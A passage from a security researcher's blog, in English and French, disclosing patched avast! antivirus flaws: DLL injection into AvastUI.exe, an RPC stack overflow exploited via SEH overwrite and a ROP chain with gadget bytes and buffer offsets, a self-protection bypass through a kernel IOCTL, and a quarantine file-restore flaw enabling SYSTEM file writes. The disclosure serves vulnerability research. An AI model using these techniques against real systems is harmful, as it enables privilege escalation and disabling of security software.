In order to know where this structure is located in AvastUI.exe, we load the binary within our process and locate the structure thanks to a code signature. If there is no address space collision that would trigger a remapping elsewhere, that address will be the same in the remote process. We then open the 10 named pipes and write the DLL path to them to make sure all the structures will be filled with our data. Then we locate the window, and send it the window message with LoadLibraryA as wParam and the 1st structure address as lParam. This will load the DLL within the AvastUI.exe process.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPv3ujFO1TQJ0nhaIkdAlGT420FGG8zZ1cIFUYnjH82Yjj1uazb2eL8kE7qLYdO-pjNoEBMSI2MJoYhx5MlE_HUTreZ12NKtv_oLMTizHPvmCPPTNt8K3R42eY9AGhMIQcLetNWdMwvS0q/s1600/CWndExploit.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="444" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPv3ujFO1TQJ0nhaIkdAlGT420FGG8zZ1cIFUYnjH82Yjj1uazb2eL8kE7qLYdO-pjNoEBMSI2MJoYhx5MlE_HUTreZ12NKtv_oLMTizHPvmCPPTNt8K3R42eY9AGhMIQcLetNWdMwvS0q/s640/CWndExploit.png" width="640" /></a></div>
<br /></div>
<div>
<br /></div>
<div>
In my exploit, the DLL in question will spawn a cmd.exe and call the IOCTL to make it trusted. Obviously raising a cmd.exe to trusted doesn't make much sense in a real world exploitation scenario, this is just more of a visual example.</div>
</div>
<div>
<br /></div>
<div>
<iframe src="http://pastebin.com/embed_iframe.php?i=pZhbULuv" style="border: none; height: 400px; width: 100%;"></iframe>
</div>
<div>
<br /></div>
Kostyahttp://www.blogger.com/profile/13104454620092588028noreply@blogger.com0tag:blogger.com,1999:blog-6700102380087070012.post-46600000535476603232015-08-04T12:19:00.002-04:002015-08-04T13:34:19.125-04:00avast! TaskEx RPC EoP (and potential RCE)Here is a new bug, this time in English. Since most of the logic issues have been dealt with, this one will be a memory corruption, with exploit. Once again, it was patched about a year ago by the avast! team.<br />
<h3>
Summary</h3>
<u>Bug type</u>: stack overflow<br />
<u>Vector</u>: LPC (or RPC if the ncacn_ip_tcp Chest endpoint is enabled)<br />
<u>Impact</u>: EoP (or unauthenticated RCE)<br />
<u>Verified on</u>: avast! Free ashTaskEx.dll v9.0.2018.391<br />
<h3>
Description</h3>
The ashTaskEx.dll implements an RPC interface that is bound to a local ncalrpc endpoint, this interface being 908d4c23-138f-4ac5-af4a-08584ae7c67b v1.0. Most of the functions offered by this interface do not enforce any specific checks and are accessible by unprivileged local users. Those functions are processed within the AvastSvc.exe binary, which runs as SYSTEM.<br />
<br />
The function with opcode 8 of this interface has the following IDL prototype (note that the function name is mine, not a symbol):<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">long kk_RpcStartRescueDiscToolkit (</span><br />
<span style="font-family: Courier New, Courier, monospace;"> [in] handle_t arg_1,</span><br />
<span style="font-family: Courier New, Courier, monospace;"> [in][ref][string] wchar_t * arg_2,</span><br />
<span style="font-family: Courier New, Courier, monospace;"> [in] long arg_3,</span><br />
<span style="font-family: Courier New, Courier, monospace;"> [in][ref][string] wchar_t * arg_4,</span><br />
<span style="font-family: Courier New, Courier, monospace;"> [in] long arg_5</span><br />
<span style="font-family: Courier New, Courier, monospace;">);</span><br />
<br />
After unmarshalling the RPC request, it ends up calling tskexStartRescueDiscToolkitImpl:<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">.text:64804575 mov [ebp+ms_exc.registration.TryLevel], 0</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:6480457C push 0 ; int</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:6480457E push eax ; RPC_arg_5</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:6480457F push [ebp+RPC_arg_4] ; int</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:64804582 push ebx ; RPC_arg_3</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:64804583 push [ebp+RPC_arg_2] ; wchar_t *</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:64804586 call tskexStartRescueDiscToolkitImpl</span><br />
<br />
It will compare the first string with a hardcoded GUID:<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">.text:6480890E mov ebx, [ebp+arg_0]</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:64808911 push esi</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:64808912 push edi</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:64808913 push offset aBf0f4731Dd254a ; "{BF0F4731-DD25-4A94-8E32-F94103856229}"</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:64808918 push ebx ; wchar_t *</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:64808919 mov [esp+440h+var_42C], eax</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:6480891D call ds:_wcsicmp</span><br />
<br />
<b>Edit</b>: opcode 7 has the exact same vulnerability, with a different GUID check, and the exploit below is for that function.<br />
If the comparison succeeds, it will process to copying the second string into a stack buffer:<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">.text:6480894E mov eax, [ebp+arg_8]</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:64808951 lea edx, [esp+438h+var_214]</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:64808958 sub edx, eax</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:6480895A lea ebx, [ebx+0]</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:64808960</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:64808960 loc_64808960: ; CODE XREF: tskexStartRescueDiscToolkitImpl+7D j</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:64808960 movzx ecx, word ptr [eax]</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:64808963 mov [edx+eax], cx</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:64808967 lea eax, [eax+2]</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:6480896A test cx, cx</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:6480896D jnz short loc_64808960</span><br />
<br />
As you can see here, the destination buffer var_214 is located on the stack, and can hold at most 0x210 bytes before reaching the stack cookie. The copy operation looks like a an inlined wcscpy. There is no check on the length of the string prior to copy.<br />
<br />
This results in a stack overflow condition, that can be exploited to achieve code execution and EoP to SYSTEM. Note that the /GS cookie check has to be bypassed to achieve this, which requires exploiting the exception handler or disclosing memory.<br />
<br />
A heap overflow will also happen in the subfunction called by tskexStartRescueDiscToolkitImpl if the string we sent is too large, but not large enough to reach the end of the stack. It only allocates 0x4e8 bytes for the structure the string is copied in:<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">.text:64809D68 push 4E8h ; unsigned int</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:64809D6D call ??2@YAPAXIABUnothrow_t@std@@@Z ; operator new(uint,std::nothrow_t const &)</span><br />
<br />
<h3>
Remote exploitation</h3>
While this bug is a default local EoP on avast! Free, if the Chest remote RPC endpoint (ncacn_ip_tcp) is enabled (either in avast! Endpoint Protection or by playing with the .ini files), then this bug becomes an RCE. See the following MSDN entry about this:<br />
<br />
"Be Wary of Other RPC Endpoints Running in the Same Process"<br />
http://msdn.microsoft.com/en-us/library/windows/desktop/aa373564(v=vs.85).aspx<br />
<br />
<h3>
Exploit</h3>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZ-5DX4RY3PR7vsDLeU56BzTelcu9xSIvxYmJSVQUtqV7leiy7-CLNUZ5j-K6_EjmOFmBQi37NtUv1ZTlSkMEQulRYvqfH_BV4lMUSko28bArcbtJ6ramYn9vCBQnnOmtYLBJYEiUvJfJC/s1600/dollhouse.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZ-5DX4RY3PR7vsDLeU56BzTelcu9xSIvxYmJSVQUtqV7leiy7-CLNUZ5j-K6_EjmOFmBQi37NtUv1ZTlSkMEQulRYvqfH_BV4lMUSko28bArcbtJ6ramYn9vCBQnnOmtYLBJYEiUvJfJC/s640/dollhouse.png" width="640" /></a></div>
<br />
Here are some explanations:<br />
<ul>
<li>we exploit a stack overflow in an LPC interface offered by ashTaskEx.dll;</li>
<li>this function is protected by a /GS cookie, so the usual route is to go through overwriting the exception handler, which on newer platforms requires to use a handler in a binary not protected by SafeSEH (this assumes that we overflow enough to get a memory access violation prior to the cookie being checked);</li>
<li>algo.dll is not SafeSEH protected. algo.dll is shipped with definitions, so I attempted my best to do something decently generic that will locate the latest version of algo.dll by looking up some registry keys and entries in the .INI files;</li>
<li>we want the overwritten exception handler to point to a gadget into algo.dll that somewhat restores the stack pointer to somewhere under our control. Luckily the DLL contains quite a lot of add esp,const & retn that will do that (with const in a ~800h-~1000h range);</li>
<li>we load algo.dll in our process, and look for that gadget. It is to be noted that given how Windows works, the base address of algo.dll in our process will be the same than in AvastSvc.exe unless we are quite unlucky;</li>
<li>at this point, we just have to build a ROP chain that will do something interesting;</li>
<li>since we are local, I decided to do something that would LoadLibrary a DLL under my control. To do so, I make one of the registers point to one of the strings sent into the RPC request (the one that didn't overlow) with some basic additions, copy it in some safe place (the .data section of algo.dll), restore a register to LoadLibraryW and trigger a push & call combination that will load the library as SYSTEM;</li>
<li>the library just creates a cmd.exe as SYSTEM on WinSta0 (you need to click a dialog to see it but at this point you see that it's won);</li>
</ul>
DeepScreen might be annoying and block access to the files, so run it without parameters for the first time to just load the DLL in the current process, and once DeepScreen is happy, run it again with 'run' as parameter to trigger the overflow. The irony here is that the overflow can happen within the DeepScreen sandbox, even if the original ends up being blocked!<br />
<br />
Some constants that you might need to adjust based on your platform:<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">FillMemory( pbBuffer, 0x1000, 'A' );</span><br />
<br />
Our overflowing buffer will be 0x1000 bytes. In most cases it's enough to go past the end of the stack and trigger an AV, but sometimes there is another page (or several) after the stack and that size might have to be increased.<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">*( DWORD_PTR * )( &pbBuffer[0x354] ) = ( DWORD_PTR )0xffffffff; //SEH</span><br />
<span style="font-family: Courier New, Courier, monospace;">*( DWORD_PTR * )( &pbBuffer[0x358] ) = g_GadgetLocations[0].dwpLocation; //add esp,818 & retn</span><br />
<br />
Here we require that the SEH structure be at 0x354 bytes from the beginning of our overflowing buffer. This is likely specific to Windows 7 SP1 x86 up to date.<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">*( DWORD_PTR * )( &pbBuffer[0x20c] ) = g_GadgetLocations[1].dwpLocation; // xchg eax,ebp & retn</span><br />
<span style="font-family: Courier New, Courier, monospace;">*( DWORD_PTR * )( &pbBuffer[0x210] ) = g_GadgetLocations[2].dwpLocation; // pop ecx & retn</span><br />
<span style="font-family: Courier New, Courier, monospace;">*( DWORD_PTR * )( &pbBuffer[0x214] ) = ( DWORD_PTR )0xfffffc24; //ecx</span><br />
<br />
Here, we require that esp+0x818 at the time of the exception handling lands at 0x20c from the beginning of our buffer. The other requirement is that our second string is at 0x3dc (-0xfffffc24) bytes from ebp at the time of the exception handling. Those are pretty much the only things that can differ from one platform to another given the same ashTaskEx.dll version.<br />
<br />
The gadgets are pretty self explanatory:<br />
<br />
<span style="font-family: Courier New, Courier, monospace;"> { { 0x81, 0xc4, 0x18, 0x08, 0x00, 0x00, 0xc3 }, 7, 0 }, //add esp,818h & retn</span><br />
<span style="font-family: Courier New, Courier, monospace;"> { { 0x95, 0xc3 }, 2, 0 }, //xchg eax,ebp & retn</span><br />
<span style="font-family: Courier New, Courier, monospace;"> { { 0x59, 0xc3 }, 2, 0 }, //pop ecx & retn</span><br />
<span style="font-family: Courier New, Courier, monospace;"> { { 0x2b, 0xc1, 0x5b, 0xc3 }, 4, 0 }, //sub eax,ecx & pop ebx & retn</span><br />
<span style="font-family: Courier New, Courier, monospace;"> { { 0x96, 0xc3 }, 2, 0 }, //xchg eax,esi & retn</span><br />
<span style="font-family: Courier New, Courier, monospace;"> { { 0xb8, 0x90, 0x00, 0x00, 0x00, 0xc3 }, 6, 0 }, //mov eax,90h & retn</span><br />
<span style="font-family: Courier New, Courier, monospace;"> { { 0x5d, 0xc3 }, 2, 0 }, // pop ebp & retn</span><br />
<span style="font-family: Courier New, Courier, monospace;"> { { 0x83, 0xc4, 0x0c, 0x5e, 0x5d, 0x5f, 0x5b, 0x83, 0xc4, 0x08, 0xc2, 0x14, 0x00 }, 13, -8 }, //call _memcpy sequence</span><br />
<span style="font-family: Courier New, Courier, monospace;"> { { 0x58, 0xc3 }, 2, 0 }, //pop eax & retn</span><br />
<span style="font-family: Courier New, Courier, monospace;"> { { 0x55, 0xff, 0xd0, 0x0f, 0xb6, 0xc0 }, 6, 0 }, //push ebp & call eax & movzx eax,al & ...</span><br />
<br />
We restore eax from ebp, restore ecx from the stack, subtract ecx from eax, withsome trash ending up in ebx. Then we set eax, esi and ebp so that we can call a memcpy gadget that copies our string into the .data section of the algo.dllbinary. We then call LoadLibraryW on our DLL, and ExitProcess gracefully.<br />
<br />
Here the main exploit file, it's the only interesting one anyway:<br />
<div>
<br /></div>
<div>
<iframe src="http://pastebin.com/embed_iframe.php?i=nWyddggn" style="border: none; height: 400px; width: 100%;"></iframe>
</div>
<div>
<br /></div>
Kostyahttp://www.blogger.com/profile/13104454620092588028noreply@blogger.com1tag:blogger.com,1999:blog-6700102380087070012.post-88014715383747024532015-08-03T12:45:00.000-04:002015-08-03T12:45:00.658-04:00avast! Contournement de la protection personnelleVoici un autre probleme de logique, cette fois-ci au niveau noyau. Il a ete corrige l'annee derniere dans les version vulnerables d'avast!.<br />
<h3>
Resume</h3>
<u>Type de vulnerabilite</u>: probleme de logique<br />
<u>Vecteur</u>: IOCTL a \\.\aswSP_Open<br />
<u>Impact</u>: contournement de la protection personnelle (rendre un processus "de confiance")<br />
<u>Verifie sur:</u> avast! Free aswSP.sys v9.0.2018.391<br />
<h3>
Description</h3>
La protection personnelle d'avast! (self-protection en Anglais) permet au programme de se proteger de programmes malicieux. Elle est implemente dans le module noyau aswSP.sys et utilise un concept de niveau de confiance pour les processus executes sur le systeme. aswSP.sys offre une variete de peripheriques et IOCTLs associes, mais une grande partie d'entre eux requiert des privileges administratifs, ou d'etre appele depuis un processus de confiance. Cependant, certain d'entre eux sont accessibles par des utilisateurs non privilegies, notamment au travers de \\.\aswSP_Open.<br />
<br />
Par example, pour savoir si la protection personnelle est activee, on peut interroger l'IOCTL 0xb2d60190, et pour savoir si un processus est de confiance, 0xb2d600cc. Les processus de confiance executes par defaut sont System, AvastSvc.exe, AvastUI.exe et afwServ.exe sur les versions ayant le parefeu. Cela est illustre par le script Python suivant:<br />
<br />
<iframe src="http://pastebin.com/embed_iframe.php?i=V961GCBn" style="border: none; height: 400px; width: 100%;"></iframe>
<br />
Un processus de confiance peut modifier le niveau de confiance d'un autre processus. Un IOCTL (0xb2d60198) permet a un processus de devenir de confiance, mais son fonctionnement est quelque peu alambique. Cet IOCTL prend pour parametre en entree un buffer de 0x19 octets qui contient, entre autres, deux pointeurs de fonction en mode utilisateur (Ring 3). Le code de l'IOCTL va determiner dans quel module se situent ces deux pointeurs, et verifier sa signature. Il ne s'agit pas d'une signature de binaire normale de Windows, mais une signature specifique a avast!. Si le binaire n'est pas signe, ou si la signature est invalide, l'appel va echouer. Par contre si tout se passe bien, le pilote noyau va mettre en queue un APC utilisateur qui executera un des pointeurs de fonction. En fonction de ce que va faire cette procedure (modifier les parametres passes), le pilote finira par appeler une fonction qui monte le niveau de confiance du processus dont le PID a ete passe dans le buffer d'entree.<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">.text:0001981C kk_SetProcessTrustCallback proc near ; DATA XREF: kk_aswSP_Open_DispatchIoControl+2B7 o</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:0001981C</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:0001981C arg_0 = dword ptr 8</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:0001981C</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:0001981C mov edi, edi</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:0001981E push ebp</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:0001981F mov ebp, esp</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:00019821 mov eax, [ebp+arg_0]</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:00019824 movzx ecx, byte ptr [eax+8]</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:00019828 push ecx ; char</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:00019829 push dword ptr [eax+4] ; PVOID</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:0001982C call kk_SetProcessTrust0Or2</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:00019831 pop ebp</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:00019832 retn 4</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:00019832 kk_SetProcessTrustCallback endp</span><br />
<br />
Afin de prevenir certains abus possibles, le pilote verifie que le processus appelant l'IOCTL n'est pas en train d'etre debogue:<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">.text:00019496 push ebx ; ReturnLength</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:00019497 push 4 ; ProcessInformationLength</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:00019499 lea eax, [ebp+var_3C]</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:0001949C push eax ; ProcessInformation</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:0001949D push ProcessDebugPort ; ProcessInformationClass</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:0001949F push 0FFFFFFFFh ; ProcessHandle</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:000194A1 call ds:NtQueryInformationProcess</span><br />
<br />
Un des scenarios qui semble-t-il n'a pas ete pris en compte par les developpeurs d'avast! est la possibilite de lancer un binaire avast! signe en mode suspendu, puis d'y injecter une tache. Bien evidemment cela necessite que vous fournissions des pointeurs de fonctions pour le buffer d'entree de l'IOCTL au sein du binaire en question, et que ces pointeurs soient suffisamment interesssants pour qu'on finisse par executer du code sous notre controle. On peut par exemple utiliser un trampoline qui lit un pointeur de fonction depuis la section .data du binaire et l'execute:<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">.text:005E0BCD mov eax, dword_7114F8</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:005E0BD2 test eax, eax</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:005E0BD4 jz short loc_5E0BE4</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:005E0BD6 lea ecx, [ebp+var_30]</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:005E0BD9 push ecx</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:005E0BDA push 3</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:005E0BDC call eax ; dword_7114F8</span><br />
<br />
Ce gadget se trouve dans AvastUI.exe, un binaire signe par avast!<br />
<br />
Afin de transformer notre code en code de confiance, il nous suffit de suivre les etapes suivantes:<br />
<br />
<ul>
<li>creer AvastUI.exe (ou un autre binaire signe contenant un gadget acceptable) en mode suspendu</li>
<li>injecter une tache (en fait j'ai ecrit une DLL pour ca) qui va:</li>
<ul>
<li>trouver le gadget dans le binaire (ici 005E0BCD)</li>
<li>ecrire le pointeur de fonction que nous voulons executer (ici a dword_7114F8)</li>
<li>appeler l'IOCTL 0xb2d60198 en contruisant correctement le buffer d'entree</li>
</ul>
</ul>
<br />
Ainsi les verifications faites par le pilote vont reussir, et notre fonction va etre executee via un APC utilisateur. Maintenant pour que le pilote change le niveau de confiance du processus, il faute que cette fonction modifie un parametre de la facon suivant:<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">__declspec( naked ) DWORD UserModeAPCFunction( )</span><br />
<span style="font-family: Courier New, Courier, monospace;">{</span><br />
<span style="font-family: Courier New, Courier, monospace;"> __asm</span><br />
<span style="font-family: Courier New, Courier, monospace;"> {</span><br />
<span style="font-family: Courier New, Courier, monospace;"> //int 3</span><br />
<span style="font-family: Courier New, Courier, monospace;"> mov eax, dword ptr [esp + 10h]</span><br />
<span style="font-family: Courier New, Courier, monospace;"> test eax,eax</span><br />
<span style="font-family: Courier New, Courier, monospace;"> jz skip</span><br />
<span style="font-family: Courier New, Courier, monospace;"> mov dword ptr [eax], 41414141h</span><br />
<span style="font-family: Courier New, Courier, monospace;">skip:</span><br />
<span style="font-family: Courier New, Courier, monospace;"> xor eax,eax</span><br />
<span style="font-family: Courier New, Courier, monospace;"> add esp, 0Ch</span><br />
<span style="font-family: Courier New, Courier, monospace;"> ret</span><br />
<span style="font-family: Courier New, Courier, monospace;"> }</span><br />
<span style="font-family: Courier New, Courier, monospace;">}</span><br />
<br />
A partir d'ici, notre code est de confiance, et on peut faire ce que l'on veut avec l'antivirus (EoP, desactivation, etc).<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhanB0juvDMrwhtlUVqPEWjK1uf7-GYXcQzAbNT-sx4a-rc4xqcIaPKkkBYWXBgVrfUg2vjcYdTi6F8E0JhMplTZyr49az2kICPQfQSQ_e7a671zqpySNcRbx1wDxcs-_42K4frzxiuUjL5/s1600/SPExploit.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="444" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhanB0juvDMrwhtlUVqPEWjK1uf7-GYXcQzAbNT-sx4a-rc4xqcIaPKkkBYWXBgVrfUg2vjcYdTi6F8E0JhMplTZyr49az2kICPQfQSQ_e7a671zqpySNcRbx1wDxcs-_42K4frzxiuUjL5/s640/SPExploit.png" width="640" /></a></div>
<div>
<br />
Voici le code de la DLL a injecter:<br />
<br />
<iframe src="http://pastebin.com/embed_iframe.php?i=Lb3CfmZm" style="border: none; height: 400px; width: 100%;"></iframe>
</div>
Kostyahttp://www.blogger.com/profile/13104454620092588028noreply@blogger.com0tag:blogger.com,1999:blog-6700102380087070012.post-36511395871685215942015-07-30T16:53:00.000-04:002015-07-30T16:53:09.304-04:00avast! Cache a Virus RPC EoP (et RCE potentiel dans certaines versions)Un autre probleme corrige dans avast! il y a un peu plus d'un an. Et encore une fois, une vulnerabilite qui ne necessite pas de corruption memoire. Comme le dit le dicton, les corruptions memoire, c'est pour plus tard.<br />
<h3>
Resume</h3>
<u>Type de vulnerabilite</u>: probleme de logique<br />
<u>Vecteur</u>: appel LPC (ou RPC) a c6c94c23-538f-4ac5-b34a-00e76ae7c67a v1.0<br />
<u>Impact</u>: EoP a SYSTEM, ou RCE potentiel dans les versions entreprises d'avast!<br />
<u>Verifie sur</u>: avast! Free ashServ.dll v9.quelquechose<br />
<h3>
Description</h3>
La cache a virus d'avast! est controlee par une interface RPC implementee dans ashServ.dll, cette interface etant c6c94c23-538f-4ac5-b34a-00e76ae7c67a v1.0. Par default, cette interface n'ecoute que sur un point de terminaison local (ncalrpc), mais dans certaines configurations du logiciel - notamment les versions entreprises - elle peut aussi ecouter sur un port TCP (ncacn_ip_tcp). Aucune de ces deux interfaces ne requerait d'authentification, mais certaines fonctions necessitaient un mot de passe sous forme de chaine de characteres dans les donnees RPC (verifie via MD5). Sur une connexion locale (ou si l'option de configuration de la cache "CheckPassword" est desactivee), le mot de passe n'etait pas verifie.<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">.text:6512BC91 call ds:RpcStringBindingParseW</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:6512BC97 test eax, eax</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:6512BC99 jnz loc_6512BD24</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:6512BC9F push offset aNcalrpc ; "ncalrpc"</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:6512BCA4 push [ebp+Protseq] ; wchar_t *</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:6512BCA7 call ds:_wcsicmp</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:6512BCAD add esp, 8</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:6512BCB0 test eax, eax</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:6512BCB2 jz short AUTH_SUCCESS</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:6512BCB4 push 1</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:6512BCB6 push offset aCheckpassword ; "CheckPassword"</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:6512BCBB push offset aChest ; "Chest"</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:6512BCC0 call ds:aswGetAvastPropertyInt</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:6512BCC6 add esp, 0Ch</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:6512BCC9 test eax, eax</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:6512BCCB jz short AUTH_SUCCESS</span><br />
<div>
<br /></div>
Le problem reside dans la fonction RestoreFile offerte par l'interface RPC. Une fois appelee pour un identifiant de fichier donne, la fonction de restauration va utiliser les proprietes OrigFolder et OrigFileName associees a ce fichier et restaurer aveuglement le fichier a l'emplacement specifie en tant que SYSTEM, et ce quelque soit le niveau de privilege de l'appelant.<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">.text:6512BA84 push 104h</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:6512BA89 lea eax, [ebp+var_834]</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:6512BA8F push eax</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:6512BA90 push offset aOrigfolder ; "OrigFolder"</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:6512BA95 mov ecx, esi</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:6512BA97 call edi ; IaswObject::GetValue(wchar_t const *,wchar_t *,ulong,wchar_t const *) ; IaswObject::GetValue(wchar_t const *,wchar_t *,ulong,wchar_t const *)</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:6512BA99 push offset word_65136530</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:6512BA9E push 104h</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:6512BAA3 lea eax, [ebp+var_424]</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:6512BAA9 push eax</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:6512BAAA push offset aOrigfilename ; "OrigFileName"</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:6512BAAF mov ecx, esi</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:6512BAB1 call edi ; IaswObject::GetValue(wchar_t const *,wchar_t *,ulong,wchar_t const *) ; IaswObject::GetValue(wchar_t const *,wchar_t *,ulong,wchar_t const *)</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:6512BAB3 lea eax, [ebp+var_424]</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:6512BAB9 push eax</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:6512BABA lea eax, [ebp+var_834]</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:6512BAC0 push eax</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:6512BAC1 push offset aSS_0 ; "%s\\%s"</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:6512BAC6 lea eax, [ebp+var_21C]</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:6512BACC push 104h ; size_t</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:6512BAD1 push eax ; wchar_t *</span><br />
<span style="font-family: Courier New, Courier, monospace;">.text:6512BAD2 call ds:_snwprintf</span><br />
<div>
<br /></div>
<div>
<div>
Pour elever ses privileges, un utilisateur local (ou distant) peut appeler la fonction RPC de la cache AddFile en specifiant les proprietes OrigFolder et OrigFileName comme etant celles d'un fichier qu'il veut ecraser (ou creer), et puis appeler la fonction RestoreFile. De cette facon, il peut ecraser tout binaire SYSTEM, ou creer un fichier MOF a-la-Stuxnet pour execute du code en tant que SYSTEM.</div>
<div>
<br /></div>
<div>
Pour avast! Free, c'est seulement un EoP, mais pour avast! Endpoint Protection, si le RPC de la cache est configure pour ecouter sur un port TCP (16108 par default), cela pourrait se transformer en RCE, le probleme etant que la fonction RestoreFile verifiait le mot de passe.</div>
<div>
<br /></div>
<div>
Notez que la fonction AddFile permet de specifier le contenu du fichier, modulo un "chiffrement" de type XOR avec une cle enorme. Le code suivant utilise impacket pour effecture la requete RPC (j'ai du enlever la cle parceque sinon pastebin part en vrille):</div>
</div>
<div>
<br /></div>
<div>
<iframe src="http://pastebin.com/embed_iframe.php?i=ckkP6YeD" style="border: none; height: 400px; width: 100%;"></iframe>
</div>
<div>
<br /></div>
<div>
<br /></div>
